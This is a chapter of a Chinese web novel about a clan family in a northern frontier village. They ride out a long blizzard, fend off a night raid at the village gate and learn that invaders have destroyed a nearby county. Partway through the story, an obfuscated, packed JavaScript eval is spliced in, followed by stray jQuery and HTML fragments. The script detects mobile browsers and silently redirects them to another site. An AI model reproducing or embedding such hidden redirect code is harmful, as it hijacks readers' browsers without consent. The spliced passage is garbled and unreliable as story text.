堂屋里说了什么,大家都不得而知,当日,陈栋在向郑秋穗做出了但有驱策,莫敢不从的承诺后,抱着孩子匆匆离去。


    北疆仿佛进入了极夜,大雪连绵不绝的下了四五天终于停了,可族里依旧忧心忡忡,黑压压的天空上满是翻滚的厚重云层,丝毫没有罢休的意思,仿佛要掩埋一切。


    “今年入冬那样早,我就说怕是要出事!”


    一大早郑母收拾齐整,便往族长家去了,堂屋的饭桌上,郑父把滚好的奶放在桌上,絮絮叨叨的说个不停。


    “上次下那样大的雪,还是我七八岁的时候呢,当时不知冻死饿死了多少人,城里头都活不下去了,往乡下山上涌……”


    桌上放着热腾腾的羊奶和包子,春日里吃腻了的荠菜馅包子,如今再尝到真是格外的清爽,郑秋穗三口一个吃的开怀。


    “天要下雨爹要嫁人,咱能咋样?”


    郑秋米面色沉重但隐隐透着股强硬,“屯子里的两座山都是咱们村的,不是任谁都能上的荒山,还敢往村子里跑,谁给他们的胆子?”


    “……可惜了,一场大雪断了皇城根儿下选美使的道儿,不然那群人早就走了,眼下放这儿跟个定时炸弹似的。”


    郑秋穗嘟囔着。


    一旁的林有为闻言,啃包子的动作一顿,“……也不一定,福祸相依,听说前几日那些人不满意选出来的人,正打算挨着村子瞧呢,眼下总算消停了。”


    趁着雪停,饭后,郑秋米把家里剩下的鸡鸭鹅都宰了,如今家里只剩了一头牛,牲口棚是不能待了,他们家的大黄牛被安置在了倒座房,时不时的,郑秋米还要给烧一烧火墙,劳累了春夏秋三季的牛二猫冬的小日子过得还不错。


    ……起码比她们是消停太多了……郑秋穗艳羡的瞧着正被穿衣服的牛儿。


    大约是红果和瑞德身上的衣服给了郑父灵感,他老人家给家里的牛和羊也做了衣服。


    “……”做好后看着自家羊儿身上那厚实的毛……


    于是这两件衣服都归了家里的大黄牛。


    傍晚的时候,天上又纷纷扬扬的下起了雪,连着四五天,外面已经滴水成冰了,狂风裹挟着雪粒,屋外的能见度降到了最低。


    郑母踩着皮靴回来时,身上压了厚厚一层雪,眼睫毛都冻结了白霜,那雪花并不松软,紧紧的粘在皮毛上,郑父拿笤帚才刷了下去。


    “娘,咋样了?”


    堂屋的南北炕上正燃着锅子,郑秋穗盛了碗清汤,递给郑母,暖暖身子。


    郑母咕咚咕咚饮下,长舒一口气,冰凉的手脚才暖了些。


    “咱们族里没事儿,去岁各家都赚了些银子,粮食柴火都备的足,族长也有先见之明,入冬前在库里囤了一批粮食……主要是怕附近的村落为了粮食铤而走险,听说远处的县城已经乱了,最近老大你们的护村队得注意些,村口一定得守好,还有咱家那些剩下的鸡鸭,赶紧宰了别冻死了或是闹了疫病就坏了,还有最近学堂先停课,天太冷,万一闹了风寒就不好了……”郑母一点一点的嘱咐着。


    “你放心吧,我白天刚把那些家禽宰了。”郑秋米连忙点头应下。


    “嗯,每半日清一清屋顶上的雪……咱们家柴火炭火都备的多。取暖倒是不成问题,这几日都在家里待着尽量别出门,这时节着凉可好不透,特别是老大家的,别担心柴火,把屋子烧的热腾腾的……”


    郑母又特地叮嘱了几句。


    其后几日,形势依旧不容乐观,黑压压的天空仿佛不见了太阳,白日里也就正午那会儿天空稍明亮些,他们家备的烛火不太够,为了俭省些,所幸白日里一家子都集中在了堂屋。


    郑秋米领导的护村队每日里十二个时辰不间断的值班,邻村里出现的鸡鸣狗盗,他们村倒是还未听闻,因而族人夜间也还能睡个好觉。


    七八日后,暴雪终于停了,天上的乌云不甘的散去,明亮的阳光落下时,熠熠生辉的雪景看得人一愣,大家伙儿心里总算轻松了些,说说笑笑的收拾院子里、主干路上堆积的雪。


    郑秋米挂着两个黑眼圈,回家蒙头大睡,一句话没来得及说。


    暴雪停了,乌云也散了,家家户户清了院子里的积雪,包饺子的包饺子,炖棒骨的炖棒骨……


    一家人围坐在一起,说着前几日的担忧,说着来日的期盼……


    谁也没想到,就在当天夜里,村口还是出事了。


    角号声响。


    红果警醒,迅速呼唤主人,郑秋穗猛地惊醒,怀里的杜甘棠还安睡着,郑秋穗抽出胳膊坐起身,点燃了炕边的烛火。


    短而急的号声接连不断的响起,尖锐嘹亮的声音迅速唤醒了整个村子,这样的频率预示着……敌袭!


    迷蒙中,郑秋穗大致辨认了一下方位,是村口。


    村口外一片平整,北疆没有兽类会在平原处发起攻击,那就是人祸了。


    郑秋穗迅速穿衣服,不一会儿听到东屋门栓一阵响动后,有人跑出了屋。


    “小妹,我和娘去村口瞧瞧,你守住咱家别乱跑,有事儿让红果给我带信儿。”


    窗外郑秋米快速说着,声音惊动了炕上的杜甘棠,他下意识摸了摸枕边,一瞬间警醒坐了起来。


    郑秋穗捏了捏他的手示意自己在,然后迅速跳下炕,开了门,两姐妹对视一眼,神色颇为凝重。


    堂屋门栓响动,郑母已经穿戴好走了出来,家里有林有为有郑秋穗,她跟着一起去。


    被当成这个家里的一份子,正打着哈欠的林有为莫名荣幸。


    郑秋穗拉着姐姐去柴房,柴房里一座小型铡刀寒光凛凛,郑秋穗上前把铡刀从底座上卸下递给了郑秋米。


    “……你拿着防身啊,你给我……”郑秋米皱眉道。


    “村口围墙那儿若是能守住,村里根本就不会出事儿,贼人若是能跑进来,说明村口都失守了,你说咱俩谁危险,赶紧拿着!”


    郑秋穗懒得跟她废话。


    隔壁院子也亮起了灯,冬粒领着父亲胡氏跑过来了。


    “我和大姐去村口看看,穗儿,我爹拜托你了!”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113024|189395||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “娘,您跟小妹在家,如果有事儿,我会吹哨的!”


    只来得及留下几句话,郑秋穗、郑冬粒两人拿着武器迅速向村口去。


    不远处的几座院子都星星点点的亮起了烛火,男人们在门口张望着,在寒风中久久没有回屋。


    “……没事儿,咱族里这群姑娘,半点子心眼不长,全拿来长力气了……”郑父在门口喃喃着。


    东屋里小李氏也睡不着了,把胡氏请进了屋。


    西屋里,杜甘棠也已经穿戴整齐,郑秋穗无奈的笑了笑,“这个冬日里没一天消停的……”


    这份警醒一直持续到天亮,冬日严寒,各家养的鸡鸭也被宰了七七八八,往日此起彼伏的鸡鸣声如今也没有,只剩下空荡荡的风声。


    院门被敲响,郑秋穗静悄悄出屋,和倒座出来的林有为对视一眼,两人悄声往门口去。


    “小妹!成了成了,都抓住了!”


    是大姐!郑秋米正哐哐哐的敲门,郑秋穗赶紧过去开门。


    郑秋米头发有些散开了,脸上还有些血渍,郑秋穗上上下下看了半天,确认对方没受伤,方才松了口气。


    郑秋米身后,原家姐妹静静的站着,见郑秋穗看过来,点头示意。


    “……昨儿晚上幸亏她俩帮忙,不然你姐我怕是要挂点彩。”郑秋米摸摸鼻子,仗着自己打遍族里无敌手,她确实有些轻敌了。


    “先进来慢慢说,娘和冬粒呢?”


    “正在村口捆人呢!叫我先回来给家里报个平安。”


    院子里出来瞧人的胡氏听了,方才松了口气。


    “……你看,我就说了没事,咱们族里这群姑娘那股子莽劲儿十里八乡那是有名的,哪有敢跟她们硬碰硬的!”郑父摆摆手说道,也不知道这话是夸呢还是贬呢……


    “到底怎么回事?是哪个村子的人这样不要脸?”小李氏挺着大肚子站在一旁气愤的问道。


    不怪他有此一问,相邻村落难免争夺水源、山头、荒地等无主资源,但都是明刀明枪的干,哪有大半夜搞偷袭抢别人东西的道理?


    “不是隔壁村子,是北边儿的流民……”郑秋米皱眉说了起来。


    他们得知了一个令所有人震惊的消息,北边的蛮夷南下劫掠,连绵不绝的高山护住了固北城和周围的三四座县城,可更远处的临戎县……


    “……临戎没了”,郑秋米艰难的说着那边的惨状,那些是她从那些袭击村子的人口中听来的。


    “本就是难挨的极寒天气,大家也都是吊着一口气儿只愿着熬过去日子就好了,咱们都是如此更何况北边那些蛮夷,那群守边的整日里吊儿郎当,毫无半分警惕心……”


    一座县城的土城墙,又哪里能抵挡磨刀霍霍,饥肠辘辘的铁骑?


    院子里顿时鸦雀无声。


    临戎县距离她们,说近不近,可说远却也并不远,即便平日不怎么出门的郑父和小李氏也是去临戎县赶过集的,眼下听到临戎的惨状,只觉得仿佛这祸事发生在自己身上一般,令人难以喘息。